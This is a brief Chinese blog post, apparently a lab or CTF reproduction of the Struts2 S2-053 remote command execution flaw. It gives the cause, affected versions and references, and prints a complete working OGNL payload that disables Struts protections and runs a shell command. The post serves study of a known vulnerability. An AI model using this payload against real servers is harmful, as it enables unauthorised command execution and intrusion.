Struct2远程命令执行漏洞(S2-053)复现学习

1.S2-053(CVE-2017-12611) RCE出自一道题目

http://www.whalwl.cn:8027/hello.action

 漏洞产生原因:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。(说句实话,没看懂啥意思,不过大致意思是没有处理好用户输入,导致rce产生)

影响版本:Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

参考的是这两篇文章的内容以及exp

https://www.freebuf.com/vuls/147735.html

https://blog.csdn.net/qq_29647709/article/details/84955205

Payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

 payload中加粗标红的是需要执行的命令

 值得一说的是这段payload有一个小坑,最后要按一下换行,不然无法执行命令

后面的原理分析什麼的以后再补上

原文地址:https://www.cnblogs.com/mke2fs/p/11697107.html